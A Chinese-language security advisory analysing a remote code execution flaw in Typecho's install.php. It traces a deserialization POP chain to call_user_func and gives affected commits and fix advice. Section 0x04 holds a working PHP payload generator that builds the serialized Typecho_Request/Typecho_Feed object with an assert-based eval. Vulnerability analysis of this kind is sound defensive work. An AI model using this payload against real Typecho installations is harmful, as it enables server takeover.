typecho前台GETSHELL分析预警的案例

这篇文章主要介绍了typecho前台GETSHELL分析预警的案例,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

0x01 漏洞描述


install.php一处if`判断里直接处理了用户传入的序列化字符串,以及可以在现有框架中寻找到一条完整的pop执行链导致任意php命令执行。

0x02 漏洞攻击面影响


影响面

        几乎市面上的未及时更新的所有typecho都受到该漏洞影响。

影响版本

        gitcommit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5

        之前的几乎所有版本

修复版本

        gitcommite277141c974cd740702c5ce73f7e9f382c18d84e

        以后的commit

0x03 修复方案


漏洞代码


typecho前台GETSHELL分析预警的案例

typecho前台GETSHELL分析预警的案例

这里可以预想,应该不会有显然在__constract()中写出危险操作的开发吧

所以把思路转向字符串拼接的时候

寻找下__toString()

其实只有三个class有这个__toString()

var/Typecho/Feed.php

var/Typecho/Config.php

var/Typecho/Db/Query.php

typecho前台GETSHELL分析预警的案例

这里面大致出现了如下几种调用

php

$item['xxx']

$item['xxx']->$yyyy

$this->

typecho前台GETSHELL分析预警的案例

从这个点可以有些新的思考

因为是反序列化,对象中的属性也是我们可以控制的,那么现在去找找__get()方法

php

class Typecho_Config implements Iterator

class IXR_Client

class Typecho_Plugin

class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do

class Typecho_Date

class Typecho_Request

abstract class Typecho_Widget

class Typecho_Widget_Helper_Layout

有这么些个函数是带有__get()方法的

typecho前台GETSHELL分析预警的案例

有这么一处完整不经过变化处理的

然后直接由call_user_func执行构造好的指定代码

typecho前台GETSHELL分析预警的案例

0x04 攻击利用分析


Playload生成

php

<?php

class Typecho_Request

{

    private $_params = array('screenName'=>'eval(/'phpinfo();exit();/')');

    private $_filter = array('assert');

}

$payload1 = new Typecho_Request();

class Typecho_Feed

{

    private $_type = 'RSS 2.0';

    private $_items;

    public function __construct($x1)

    {

        $this->_items[] = array('author'=>$x1);

    }

}

$payload2 = new Typecho_Feed($payload1);

$exp['adapter'] = $payload2;

$exp['prefix'] = 'c1tas';

echo base64_encode(serialize($exp));

0x05 漏洞利用验证


验证截图

typecho前台GETSHELL分析预警的案例

0x06 修复建议


1. 及时同步官方分支

2. 注释掉install.php相关代码

感谢你能够认真阅读完这篇文章,希望小编分享的“typecho前台GETSHELL分析预警的案例”这篇文章对大家有帮助,同时也希望大家多多支持亿速云,关注亿速云行业资讯频道,更多相关知识等着你来学习!

原创文章,作者:306829225,如若转载,请注明出处:https://blog.ytso.com/219868.html

(0)
上一篇 2022年1月2日
下一篇 2022年1月2日

相关推荐

发表回复

登录后才能评论